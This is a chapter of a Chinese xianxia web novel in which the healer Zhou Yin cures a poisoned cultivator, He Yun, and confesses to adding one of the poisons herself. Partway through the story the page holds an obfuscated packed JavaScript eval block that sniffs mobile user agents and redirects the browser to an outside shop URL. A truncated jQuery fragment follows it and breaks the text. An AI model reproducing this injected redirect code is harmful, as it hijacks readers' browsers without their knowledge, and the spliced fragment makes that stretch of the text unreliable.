默认冷灰
24号文字
方正启体

9. 以毒攻毒

作者:言赫本书字数:K更新时间:
    黑袍首领眯起眼,他的兜帽在冲击之下被掀起,枯槁的灰发凌乱而扎眼。翠色的光芒自他额心一闪而过,他伸出手,慢条斯理拉回兜帽,重新戴好。


    纵使护盾挡了大半力道,悬殊的实力差距还是让周隐难以招架。那一刀几乎抽干了她所有的力气,肺部干涩,随心跳的频率轻微抽痛,呼吸浮起间隐秘的血气。


    眼前有点发黑,视线天旋地转。


    她嘴里发苦,反手抹去唇间渗出的一抹红。


    既无转圜余地,便只能放手一搏。


    她拖着被震麻的半边身子,踉跄两步,单手拧开腰间的黑色瓷瓶,掰开伤者的嘴灌进去。


    低头喘息片刻,周隐扶着插进地面的封魔刀再次缓慢站起。


    刀锋向外,正对人群之外的黑袍首领。


    他眯了眯眼,再次拉满弓,这次箭头对准的方向是周隐的眼睛。


    陆常昀与烨和立刻飞扑向前阻挡。


    两道破空声先后响起,一块碎金自斜后方飞来,不偏不倚砸中漆黑的箭簇,箭轨偏移,擦着周隐发冠而过钉进身后的朱墙。


    局面陡然生变。


    与此同时,地面伸出一只手,颤颤巍巍地抓住周隐裙角,用力向下拖拽。


    她蹲下身,那人从怀中掏出一个巴掌大的木匣,强硬塞进她手里,而后弓起身子连续呕出发黑的血块,呼吸却逐渐平稳。


    玉楼之内又响起了鼓声。


    周隐仰起头,逆着光看向黑袍人,虚拟的月色与星光混着夜明珠的光亮将她温柔笼罩。


    半柱香还未燃尽,这局是她胜了。


    黑袍人从容不迫的神情终于变了,他快步上前,却见玉楼内走出位提着灯笼的妇人。


    妇人面目生得极为貌美,丹凤眼细长,朱唇皓齿,明眸善睐,貌如人界画中仙。面上不见粉黛颜色,只在额间绘了天青色缠枝面纹。


    她脚步沉重而缓慢,没走几步便要停顿两三下,似是腿脚有疾。满场却无人敢催促,所过之处黑袍人皆放下刀兵,恭顺低头。


    “青瓷姑娘……”黑袍首领话未说出口,便立刻被打断。


    “胜负已分,诸位莫要强求。”青瓷未分他眼神,径直走向周隐,躬身朝她伸出手。


    周隐从善如流将手搭在她掌心,顺着力道起身。她手太凉,周隐大夫的本能发作,轻轻捏了捏她指骨,却发现手下肌肤过分僵硬,倒真如其名般,像某种瓷器。


    青瓷静静站着任她动作,等周隐松手后方收回手,双手将那盏灯笼奉上:“恭喜。”


    周隐挑眉,低头见自己手中的木匣,了然,便道了谢大大方方接过。


    “贵客,这边请。”青瓷径自转身,为三人引路。


    周隐偏头去看陆常昀,见他伸手点了点面具,便放下心来。


    只是地上还有个麻烦,那群人还在虎视眈眈。她思索片刻,指着地上的那位道:“既收了报酬,她便是我的病人,没痊愈前她得跟我待在一处。”


    青瓷点头默许,立刻有小厮上前,手脚麻利抬起那位病人跟上。


    看热闹的几位掌柜自青瓷出现便作鸟兽散。


    白眉慢吞吞地跟在后头伸了个懒腰,轻拍着右边肩膀:“果然是老了,动一动就累得不行。”


    ……


    烨和替她锤着肩膀,趁其不备将右臂狠狠一抻。


    “诶诶诶,师姐,痛!”周隐眼含泪花,这才感觉又边身子有点知觉。


    她肩背那块少不淤青几天,想着就心烦。


    青瓷给三人安排好上房便带人离开了。


    玉楼装潢处处华贵,案几软榻帷幔无不透露着奢靡的作风。周隐陷进柔软的坐垫里,长呼一口气。


    陆常昀两手一抱站在旁边教训她:“该,什么人都敢招惹。我和烨和就不该管你,疼死你算了。”


    周隐惆怅望天:“玩脱了,忘了如今不是剑修了。”


    陆常昀拍拍胸口,还是有些后怕:“幸好那箭被打歪了,否则真得出大事,不知是谁那么好心。”


    大善人艺高人胆大,若不是事出突然,还真想向其讨教一番。


    烨和默不作声从袖子里掏出一块碎金,当着二人的面放在桌上。


    “师姐靠谱。”周隐眼睛亮了,“我还想着得找机会收起来呢。”


    那伙人瞧着便来势汹汹,若被他们顺着碎金找到了那位神秘高手,岂不是给人添了大麻烦。


    二人与黑袍人缠斗时早有防备,没让他们武器近身,放开手脚打得那叫一个酣畅淋漓,甚至意犹未尽。反倒是只挥了一刀的周隐挂了彩,她无比郁闷,实在咽不下这口气。


    陆常昀宽慰道:“打不过元婴咱不丢人。”


    周隐揪了撮头发,卷在手指上揉搓:“我不是气这个。是他那个毒,我没完全解开。”


    她话音未落,房门被人轻轻叩响。


    陆常昀去应门,回来时身后跟着个女修,面上还蒙着一层阴翳,唇几乎淡得没有颜色,短短几步走得摇摇欲坠。


    “你醒了?怎么起来了?”周隐示意她上座,顺手就要搭她的脉。


    病人没撑住多久,刚进入玉楼便再次昏迷,周隐便将她安置在隔壁,没想到人刚醒便直接找来。


    “多谢周大夫仗义出手,在下无以为报,愿为道友驱使,肝脑涂地万死不辞。”女修激动万分,眼见就要给周隐跪下,烨和眼疾手快伸手捞住她胳膊,却没料到她用劲相当实在,差点被带一踉跄。


    “我并不知晓你与那伙人的前因后果,救你不是为了正义。”她低头看向女修憔悴的脸,摘下刚被扣上的高帽,“你身上的毒我很感兴趣,便想试试,仅此而已。”


    女修似乎愣住,虚弱地扯出一个笑,目光盯住她手边的木匣,欲言又止。


    “按花神宴的规矩,这匣子在您手中,应当是您的。但我兄长等着此物救命,您能否割爱,分我半株便可。“”


    “我有私心,当不起如此重的谢礼。你若信我,便这段时间替我试药,直到我改出方子。”周隐弯腰将其递到她面前,“不信我也无妨,但你体内有九种毒,换了旁人,未必能解得开。”


    “九种?他们竟如此丧心病狂!这玉楼真是愈发无法无天,居然放任下毒这种卑劣行径。”


    “咳,那个,师兄……”周隐轻咳一声,轻扯他衣袖,“其实他们只下了八种,最后那毒是我下的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151500|196458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她转向那女修,深吸一口气:“抱歉,当时情况危急,只能出此下策。你体内有一味修罗草,用寻常保命丹药反而会加速体内吸收,所以我用了灰岩散,两者相冲刺激你的心脉,将淤血吐出来先让你活下来,再做打算。”


    此举冒险,但对方紧追不舍,有更保险的法子却等不了那么久。她当时手里还捏了许多天级丹药,若失败了还有挽救的余地。所幸一切顺利,成功骗过了对方,又得玉楼助力,现在便可静下心来细细研究。


    “能保住性命已是万幸,何某万分感激。”那女修听罢立刻抬手行了一礼,“既是为了救命,您多下几次毒也无妨。”


    周隐右手撑在额头,挡住眼睛:“低声些,这也不是什么光彩事。”


    女修有些不好意思,接过她手中木匣,颇为珍重放入怀中,满脸期待:“我家已经没什么值钱的东西了,但花神宴的彩头里还有玉楼内店铺五年经营权,您可一定要收下。”


    周隐迎着她灼灼的目光忽感头疼,她揉了揉眉心:“之后再说,过来把脉。”


    陆常昀则极有眼色地在一边询问她些家常事。


    女修姓何单名韫,与兄长在玉楼谋生。


    她兄长是个只懂基本医理的小郎中,平日里走街串巷治点头疼脑热的小毛病。


    十几年前她兄长从外头背了药材回来,却在下船时被穿黑袍的人推搡,气不过争论了几句,竟被同行之人推下了黑河。


    那黑河是玉楼与外界的链接,有诸多禁制,还有诡异之物镇守其中。


    虽打捞及时,她兄长还是伤痕累累形容枯槁,昏迷后便再也没有醒来。这些年她攒钱求了许多玉楼里的大夫,却都只能延缓兄长的衰亡,无法将他唤醒。


    有位大夫见她可怜,跟她透露了或许定魂莲可以救他。可定魂莲难得,只在几十年前的花神宴上出现过。天下珍宝何其多,花神宴每年彩头随机,再轮到定魂莲可不容易。


    她自知实力低微,便只能夜以继日锻体,终在今年等到了定魂莲。


    此次何韫几乎花掉了全部身家,请了人护她参与琼花宴,如愿登顶却在碰到木匣那一刻遭到黑袍人围攻,眼见东西要被抢走,她放弃抵抗任刀兵暗器砸向自己,借力直接从高楼坠下,抢分秒时间,只要能活着落地,定魂莲便是她的。


    却没想到那几个黑袍人下了毒,欲置她死地。


    所幸遇到周隐等人,现下她只需将定魂莲交予大夫,兄长便能醒过来。


    百般推阻后,玉楼内五年铺子的经营权还是到了周隐手里。


    何韫百般劝解,甚至搬出了要照顾兄长没空打理铺子的理由,周隐被缠得头疼,还是答应了。


    又问了些她身体相关的问题,详细记录了医案,给了药方,嘱咐几句便让何韫回隔壁歇息。


    隔壁本是周隐的房间,治疗期间便给何韫调养用,她便暂时与烨和挤挤。


    前脚人刚走,房门又被叩响。这次敲门声清脆有力,显然底气十足。


    开门却见来人颇有侠气,头戴束髻冠,脚踏云头靴子,身着窄袖圆领袍,护腕腰带长靴一个不少,落拓潇洒。


    “我找周少侠。”她开门见山,直奔周隐而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)